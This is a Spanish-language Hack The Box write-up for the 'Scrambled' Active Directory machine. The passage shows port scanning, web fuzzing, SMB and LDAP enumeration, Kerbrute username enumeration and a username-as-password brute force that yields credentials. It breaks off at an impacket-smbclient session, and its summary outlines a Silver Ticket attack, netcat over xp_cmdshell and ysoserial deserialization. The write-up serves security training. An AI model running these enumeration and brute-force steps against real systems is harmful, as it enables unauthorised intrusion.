Scrambled - Hack The Box
Esta es una máquina que nos reta a probar varias formas de poder ganar acceso, pues por un ataque que sufrieron, se desactivó la autenticación NTLM, lo que nos complica la forma de explotar la máquina. Primero analizamos la página web, en donde encontramos información útil como la desactivación de la autenticación NTLM, un usuario, etc. Probamos a enumerar varios servicios, pero el que nos ayuda más es el servicio Kerberos. Al probar varias formas de ganar acceso a la máquina vía Kerberos, optamos por aplicar el Silver Ticket Attack con el que ganaremos acceso al servicio MSSQL como el usuario administrador de ese servicio. Gracias a los privilegios que tenemos, es posible que podamos usar el JuicyPotatoNG, pero si quieres ir por el camino difícil, enumeramos las bases de datos existentes, encontrando un usuario y su contraseña en texto claro. Podemos pivotear a otro usuario utilizando un binario netcat, que podemos cargar desde la sesión de MSSQL, siendo que podemos usarlo usando xp_cmdshell. Una vez dentro del otro usuario, lo enumeramos y encontramos un binario que podemos probar en una máquina virtual Windows y analizar usando DNSpy. Dentro del análisis de DNSpy, encontramos que se está ocupando una serialización y deserialización con data que se envía a un servidor desde este binario. Además, encontramos una backdoor que creo un dev, lo que nos da el acceso al login del binario y nos permite crear órdenes. Nos aprovechamos de esto para entender cómo es que se envía data al servidor, siendo que se usan comandos y la data serializada. Gracias a esto, aplicamos un ataque de deserialización, ocupando la herramienta ysoserial para crear una data en el mismo formato que usa el binario de la máquina, esté almacena un comando que usara el binario netcat, que ya tenemos descargado, para mandar y obtener una sesión como el usuario administrador.
Herramientas utilizadas:
- ping
- nmap
- wappalizer
- whatweb
- wfuzz
- gobuster
- crackmapexec
- smbclient
- smbmap
- ldapsearch
- kerbrute_linux_amd64
- impacket-smbclient
- exiftool
- impacket-GetUserSPNs
- JohnTheRipper
- impacket-mssqlclient
- impacket-getTGT
- export
- echo
- tr
- impacket-getPac
- impacket-ticketer
- xp_cmdshell
- nc.exe
- curl
- locate
- python3
- rlwrap
- nc
- krb5.conf
- evil-winrm
- mkdir
- script-blocks
- New-Object
- Invoke-Command
- pwsh
- Enter-PSSession
- máquina virtual Windows
- openvpn client
- nc
- dnspy.exe
- ysoserial.exe
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Analizando Servicio HTTP
- Fuzzing
- Enumeración de Servicio SMB y LDAP
- Enumeración de Servicio Kerberos
- Probando Contraseña de Usuario ksimpson con impacket-smbclient para Entrar a Servicio SMB vía Kerberos
- Explotación de Vulnerabilidades
- Aplicando Ataque Kerberoasting (Fallo en la Autenticación)
- Generando TGT para Autenticación en Servicio MSSQL vía Kerberos con impacket-getTGT (Fallo)
- Aplicando Silver Ticket Attack y Conectandonos a Servicio MSSQL
- Enumeración de Servicio MSSQL y Obteniendo Shell Interactiva
- Post Explotación
- Aplicando User Pivoting para Convertirnos en Usuario MiscSvc
- Utilizando Evil-WinRM para Autenticarnos como Usuario MiscSvc vía Kerberos
- Utilizando Script-Blocks y cmdlet Invoke-Command de PowerShell para Obtener Shell como Usuario MiscSvc
- Utilizando cmdlet Enter-PSSession para Obtener Sesión en PowerShell como Usuario MiscSvc (Fallo para Mi)
- Analizando Binario y DLL con DNSpy
- Aplicando Ataque de Deserialización con ysoserial
- Links de Investigación
Recopilación de Información
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 10.10.11.168
PING 10.10.11.168 (10.10.11.168) 56(84) bytes of data.
64 bytes from 10.10.11.168: icmp_seq=1 ttl=127 time=72.8 ms
64 bytes from 10.10.11.168: icmp_seq=2 ttl=127 time=93.5 ms
64 bytes from 10.10.11.168: icmp_seq=3 ttl=127 time=68.7 ms
64 bytes from 10.10.11.168: icmp_seq=4 ttl=127 time=94.1 ms
--- 10.10.11.168 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3010ms
rtt min/avg/max/mdev = 68.697/82.261/94.072/11.596 ms
Por el TTL sabemos que la máquina usa Windows, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.168 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-01 12:29 CST
Initiating SYN Stealth Scan at 12:29
Scanning 10.10.11.168 [65535 ports]
Discovered open port 135/tcp on 10.10.11.168
Discovered open port 139/tcp on 10.10.11.168
Discovered open port 53/tcp on 10.10.11.168
Discovered open port 80/tcp on 10.10.11.168
Discovered open port 445/tcp on 10.10.11.168
Discovered open port 464/tcp on 10.10.11.168
Discovered open port 49667/tcp on 10.10.11.168
Discovered open port 9389/tcp on 10.10.11.168
Discovered open port 593/tcp on 10.10.11.168
Discovered open port 88/tcp on 10.10.11.168
Discovered open port 49701/tcp on 10.10.11.168
Discovered open port 49673/tcp on 10.10.11.168
Discovered open port 636/tcp on 10.10.11.168
Discovered open port 49674/tcp on 10.10.11.168
Discovered open port 1433/tcp on 10.10.11.168
Discovered open port 58799/tcp on 10.10.11.168
Discovered open port 3269/tcp on 10.10.11.168
Discovered open port 389/tcp on 10.10.11.168
Discovered open port 4411/tcp on 10.10.11.168
Discovered open port 3268/tcp on 10.10.11.168
Discovered open port 5985/tcp on 10.10.11.168
Completed SYN Stealth Scan at 12:30, 54.75s elapsed (65535 total ports)
Nmap scan report for 10.10.11.168
Host is up, received user-set (0.43s latency).
Scanned at 2024-10-01 12:29:27 CST for 54s
Not shown: 65514 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
1433/tcp open ms-sql-s syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
4411/tcp open found syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49673/tcp open unknown syn-ack ttl 127
49674/tcp open unknown syn-ack ttl 127
49701/tcp open unknown syn-ack ttl 127
58799/tcp open unknown syn-ack ttl 127
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 54.88 seconds
Raw packets sent: 262116 (11.533MB) | Rcvd: 58 (2.552KB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Vemos demasiados puertos abiertos, entre ellos se ve el puerto 88 (que es del servicio Kerberos), por lo que ya nos damos una idea de a qué nos enfrentamos.
Escaneo de Servicios
nmap -sCV -p 53,80,88,135,139,389,445,464,593,636,1433,3268,3269,4411,5985,9389,49667,49673,49674,49701,58799 10.10.11.168 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-01 12:31 CST
Nmap scan report for 10.10.11.168
Host is up (0.072s latency).
Bug in ms-sql-ntlm-info: no string output.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Scramble Corp Intranet
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-01 18:32:01Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
|_ssl-date: 2024-10-01T18:35:09+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after: 2023-06-09T15:30:57
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after: 2023-06-09T15:30:57
|_ssl-date: 2024-10-01T18:35:09+00:00; +1s from scanner time.
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
| 10.10.11.168:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2024-10-01T18:28:13
|_Not valid after: 2054-10-01T18:28:13
|_ssl-date: 2024-10-01T18:35:09+00:00; +1s from scanner time.
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
|_ssl-date: 2024-10-01T18:35:09+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after: 2023-06-09T15:30:57
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scrm.local0., Site: Default-First-Site-Name)
|_ssl-date: 2024-10-01T18:35:09+00:00; +1s from scanner time.
| ssl-cert: Subject: commonName=DC1.scrm.local
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC1.scrm.local
| Not valid before: 2022-06-09T15:30:57
|_Not valid after: 2023-06-09T15:30:57
4411/tcp open found?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, GenericLines, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, NCP, NULL, NotesRPC, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns:
| SCRAMBLECORP_ORDERS_V1.0.3;
| FourOhFourRequest, GetRequest, HTTPOptions, Help, LPDString, RTSPRequest, SIPOptions:
| SCRAMBLECORP_ORDERS_V1.0.3;
|_ ERROR_UNKNOWN_COMMAND;
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49701/tcp open msrpc Microsoft Windows RPC
58799/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port4411-TCP:V=7.94SVN%I=7%D=10/1%Time=66FC4020%P=x86_64-pc-linux-gnu%r
SF:(NULL,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(GenericLines,1D,"SCRAMB
SF:LECORP_ORDERS_V1\.0\.3;\r\n")%r(GetRequest,35,"SCRAMBLECORP_ORDERS_V1\.
SF:0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(HTTPOptions,35,"SCRAMBLECORP_OR
SF:DERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RTSPRequest,35,"SCRAMB
SF:LECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(RPCCheck,1D,"
SF:SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(DNSVersionBindReqTCP,1D,"SCRAMBLE
SF:CORP_ORDERS_V1\.0\.3;\r\n")%r(DNSStatusRequestTCP,1D,"SCRAMBLECORP_ORDE
SF:RS_V1\.0\.3;\r\n")%r(Help,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UN
SF:KNOWN_COMMAND;\r\n")%r(SSLSessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\
SF:r\n")%r(TerminalServerCookie,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(
SF:TLSSessionReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(Kerberos,1D,"SC
SF:RAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(SMBProgNeg,1D,"SCRAMBLECORP_ORDERS_
SF:V1\.0\.3;\r\n")%r(X11Probe,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(Fo
SF:urOhFourRequest,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMM
SF:AND;\r\n")%r(LPDString,35,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNO
SF:WN_COMMAND;\r\n")%r(LDAPSearchReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n
SF:")%r(LDAPBindReq,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(SIPOptions,3
SF:5,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\nERROR_UNKNOWN_COMMAND;\r\n")%r(LAND
SF:esk-RC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(TerminalServer,1D,"SCR
SF:AMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(NCP,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3
SF:;\r\n")%r(NotesRPC,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(JavaRMI,1D
SF:,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(WMSRequest,1D,"SCRAMBLECORP_ORD
SF:ERS_V1\.0\.3;\r\n")%r(oracle-tns,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n"
SF:)%r(ms-sql-s,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\n")%r(afp,1D,"SCRAMBLE
SF:CORP_ORDERS_V1\.0\.3;\r\n")%r(giop,1D,"SCRAMBLECORP_ORDERS_V1\.0\.3;\r\
SF:n");
Service Info: Host: DC1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-10-01T18:34:32
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 195.82 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Está más que claro que nos enfrentamos a un Directorio Activo (AD).
Observa que nos muestra un dominio llamado scrm.local y un DNS llamado dc1.scrm.local, regístralos en tu /etc/hosts.
También veo que está activo el puerto 80, por lo que hay una página web que podemos revisar, ahí empezaremos.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Entremos:
Veamos que nos reporta Wappalizer:
Está ocupando un servidor IIS y es lo único que veo interesante, pero de momento no nos ayuda mucho esta información.
Probemos con whatweb para ver si nos reporta algo más:
whatweb http://10.10.11.168
http://10.10.11.168 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.168], JQuery, Microsoft-IIS[10.0], Script, Title[Scramble Corp Intranet]
Nada, analicemos qué nos podemos encontrar en la página web.
Navegando un poco, si vamos a la ruta /support.html
a la que puedes entrar desde el botón IT Services, nos muestra un mensaje importante:
Resulta que muchas herramientas que ocupamos, necesitan la autenticación NTLM para funcionar, por lo que esto nos puede dar problemas contra esta máquina.
Tengamos presente este mensaje de ahora en adelante.
Si vamos a la ruta /supportrequest.html
a la que puedes entrar desde el botón Contacting IT Support, nos explican que al mandar un correo de soporte, debemos incluir los datos de nuestra red y explican cómo hacerlo. Lo curioso, es que podemos ver un usuario llamado ksimpson.
Guardemos este usuario para más adelante:
Por último, si vamos a la ruta /salesorders.html
a la que puedes entrar desde el botón Report a problem with the sales orders app, nos explican como aplicar un troubleshooting con la aplicación que usan en sus sistemas, lo importante aquí es que podemos ver el dominio del AD (que ya habíamos visto en el escaneo de servicios) y el puerto en donde está activa la aplicación:
Hemos encontrado información bastante útil en esta página, solamente apliquemos Fuzzing por si hay algo que se nos esté escapando.
Fuzzing
wfuzz -c --hc=404 -t 200 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt http://10.10.11.168/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.168/FUZZ
Total requests: 220545
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 301 1 L 10 W 150 Ch "images"
000000189: 301 1 L 10 W 150 Ch "Images"
000000277: 301 1 L 10 W 150 Ch "assets"
000003659: 301 1 L 10 W 150 Ch "IMAGES"
Parámetros | Descripción |
---|---|
-c | Para ver el resultado en un formato colorido. |
–hc | Para no mostrar un código de estado en los resultados. |
-t | Para indicar la cantidad de hilos a usar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
Ahora probemos con gobuster:
gobuster dir -u http://10.10.11.168/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.168/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images (Status: 301) [Size: 150] [--> http://10.10.11.168/images/]
/Images (Status: 301) [Size: 150] [--> http://10.10.11.168/Images/]
/assets (Status: 301) [Size: 150] [--> http://10.10.11.168/assets/]
/IMAGES (Status: 301) [Size: 150] [--> http://10.10.11.168/IMAGES/]
/Assets (Status: 301) [Size: 150] [--> http://10.10.11.168/Assets/]
Progress: 220545 / 220546 (100.00%)
===============================================================
Finished
===============================================================
Parámetros | Descripción |
---|---|
-u | Para indicar la URL a utilizar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-t | Para indicar la cantidad de hilos a usar. |
No encontramos nada más, vamos a enumerar otros servicios.
Enumeración de Servicio SMB y LDAP
Como ya vimos que la autenticación NTLM esta desactivada, probar a enumerar el servicio SMB sería inutil, pero algo podremos hacer.
Probemos primero con crackmapexec:
crackmapexec smb 10.10.11.168
SMB 10.10.11.168 445 10.10.11.168 [*] x64 (name:10.10.11.168) (domain:10.10.11.168) (signing:True) (SMBv1:False)
Observa cómo no nos reporta nada del servicio SMB, salvo que no usa el SMBv1 y que está activada la autenticación.
Veamos si podemos listar los archivos compartidos con smbclient:
smbclient -L //10.10.11.168// -N
session setup failed: NT_STATUS_NOT_SUPPORTED
Tampoco nos reporta algo y nos da un error sobre el NTLM.
Por último, probemos si smbmap puede encontrar algo:
smbmap -H 10.10.11.168
/usr/lib/python3/dist-packages/smbmap/smbmap.py:441: SyntaxWarning: invalid escape sequence '\p'
stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % remoteName
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - ShawnDEvans@gmail.com<mailto:ShawnDEvans@gmail.com>
https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 0 SMB connections(s) and 0 authenticated session(s)
[*] Closed 0 connections
Nada, no pudimos hacer algo contra el servicio SMB con nuestras herramientas principales.
Probemos a enumerar el servicio LDAP.
Para esto, usaremos la herramienta ldapsearch, lo que buscamos es obtener información del dominio (que ya conocemos):
ldapsearch -H ldap://10.10.11.168 -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts
#
dn:
namingcontexts: DC=scrm,DC=local
namingcontexts: CN=Configuration,DC=scrm,DC=local
namingcontexts: CN=Schema,CN=Configuration,DC=scrm,DC=local
namingcontexts: DC=DomainDnsZones,DC=scrm,DC=local
namingcontexts: DC=ForestDnsZones,DC=scrm,DC=local
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
Bien, confirmamos que el dominio es scrm.local y también tenemos el DNS dc1.scrm.local, que por lo que entiendo, este es el servidor del dominio, ósea, la controladora del dominio.
Vemos si podemos obtener más información del dominio:
ldapsearch -H ldap://10.10.11.168 -x -b "dc=scrm,dc=local"
# extended LDIF
#
# LDAPv3
# base <dc=scrm,dc=local> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A5C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v4563
# numResponses: 1
Nada.
Lo dejaremos hasta aquí y vamos a enumerar el servicio Kerberos.
Enumeración de Servicio Kerberos
Vamos a empezar por comprobar si el usuario que encontramos sí existe.
Para esto, usaremos la herramienta Kerbrute que ya hemos usado en la máquina Support.
Guarda en un archivo de texto el usuario ksimpson para que lo podamos usar en la herramienta.
Puedes agregar otros usuarios randoms si lo deseas:
cat users
ksimpson
test
probando
Si no lo has hecho, agrega el dominio que encontramos al /etc/hosts:
nano /etc/hosts
10.10.11.168 scrm.local dc1.scrm.local
Usemos Kerbrute para la enumeración, recuerda que debemos especificar el ataque (que sería username, para enumerar usuarios), la IP con el parámetro –dc y el dominio con el parámetro -d (usaremos el dominio scrm.local):
./kerbrute_linux_amd64 userenum --dc 10.10.11.168 -d scrm.local users
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 10/01/24 - Ronnie Flathers @ropnop
2024/10/01 14:11:26 > Using KDC(s):
2024/10/01 14:11:26 > 10.10.11.168:88
2024/10/01 14:11:26 > [+] VALID USERNAME: ksimpson@scrm.local
2024/10/01 14:11:26 > Done! Tested 4 usernames (1 valid) in 0.074 seconds
Excelente, si existe.
Ahora, probemos qué usuarios podremos obtener.
En la máquina Support usamos un wordlists de SecLists, pero también existen wordlists específicos para AD que puedes encontrar en el siguiente link:
Probemos ese wordlists y veamos qué usuarios podemos encontrar:
./kerbrute_linux_amd64 userenum --dc 10.10.11.168 -d scrm.local /opt/kerberos_enum_userlists/A-ZSurnames.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 10/01/24 - Ronnie Flathers @ropnop
2024/10/01 14:17:31 > Using KDC(s):
2024/10/01 14:17:31 > 10.10.11.168:88
2024/10/01 14:17:32 > [+] VALID USERNAME: ASMITH@scrm.local
2024/10/01 14:18:05 > [+] VALID USERNAME: JHALL@scrm.local
2024/10/01 14:18:09 > [+] VALID USERNAME: KSIMPSON@scrm.local
2024/10/01 14:18:11 > [+] VALID USERNAME: KHICKS@scrm.local
2024/10/01 14:18:38 > [+] VALID USERNAME: SJENKINS@scrm.local
2024/10/01 14:19:08 > Done! Tested 13000 usernames (5 valid) in 96.713 seconds
Muy bien, tenemos 4 usuarios más del que ya conocíamos, cópialos en un archivo de texto en minúsculas.
Aplicando Fuerza Bruta con Kerbrute para Encontrar Contraseña Válida
Si bien sabemos que algunas contraseñas pueden ser usadas en distintos usuarios, también debemos tener en cuenta que los mismos nombres de los usuarios, los pueden usar como contraseña del mismo usuario.
Podemos comprobar si algún nombre de usuario, sirve como contraseña del mismo usuario o de otros utilizando el ataque bruteuser de Kerbrute.
Vamos a probarlo con el archivo de los usuarios que ya tenemos:
cat users
asmith
jhall
ksimpson
khicks
sjenkins
Prueba el ataque con cada nombre de usuario:
./kerbrute_linux_amd64 bruteuser --dc 10.10.11.168 -d scrm.local users asmith
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 10/01/24 - Ronnie Flathers @ropnop
2024/10/01 14:27:56 > Using KDC(s):
2024/10/01 14:27:56 > 10.10.11.168:88
2024/10/01 14:27:56 > Done! Tested 5 logins (0 successes) in 0.318 seconds
./kerbrute_linux_amd64 bruteuser --dc 10.10.11.168 -d scrm.local users jhall
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 10/01/24 - Ronnie Flathers @ropnop
2024/10/01 16:08:26 > Using KDC(s):
2024/10/01 16:08:26 > 10.10.11.168:88
2024/10/01 16:08:27 > Done! Tested 5 logins (0 successes) in 0.321 seconds
./kerbrute_linux_amd64 bruteuser --dc 10.10.11.168 -d scrm.local users ksimpson
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 10/01/24 - Ronnie Flathers @ropnop
2024/10/01 14:27:39 > Using KDC(s):
2024/10/01 14:27:39 > 10.10.11.168:88
2024/10/01 14:27:40 > [+] VALID LOGIN: ksimpson@scrm.local:ksimpson
2024/10/01 14:27:40 > Done! Tested 5 logins (1 successes) in 0.308 seconds
./kerbrute_linux_amd64 bruteuser --dc 10.10.11.168 -d scrm.local users khicks
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 10/01/24 - Ronnie Flathers @ropnop
2024/10/01 16:08:34 > Using KDC(s):
2024/10/01 16:08:34 > 10.10.11.168:88
2024/10/01 16:08:34 > Done! Tested 5 logins (0 successes) in 0.314 seconds
./kerbrute_linux_amd64 bruteuser --dc 10.10.11.168 -d scrm.local users sjenkins
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 10/01/24 - Ronnie Flathers @ropnop
2024/10/01 16:08:44 > Using KDC(s):
2024/10/01 16:08:44 > 10.10.11.168:88
2024/10/01 16:08:44 > Done! Tested 5 logins (0 successes) in 0.311 seconds
Muy bien, tenemos la contraseña para el usuario ksimpson del servicio Kerberos.
Probando Contraseña de Usuario ksimpson con impacket-smbclient para Entrar a Servicio SMB vía Kerberos
La herramienta smbclient que se incluye en impacket, nos puede servir para autenticarnos en el servicio SMB vía Kerberos.
Vamos a probarlo con la contraseña que acabamos de encontrar, solo indica el dominio junto al usuario y contraseña y el servidor de dominio:
impacket-smbclient -k scrm.local/ksimpson:ksimpson@dc1.scrm.local
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
Type help for list of commands
\#
Si escribimos help
, veremos qué comandos podemos usar:
# help
open {host,port=445} - opens a SMB connection against the target host/port
login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted
kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name
login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
logoff - logs off
shares - list available shares
use {sharename} - connect to an specific share
cd {path} - changes the current directory to {path}
lcd {path} - changes the current local directory to {path}
pwd - shows current remote directory
password - changes the user password, the new password will be prompted for input
ls {wildcard} - lists all the files in the current directory
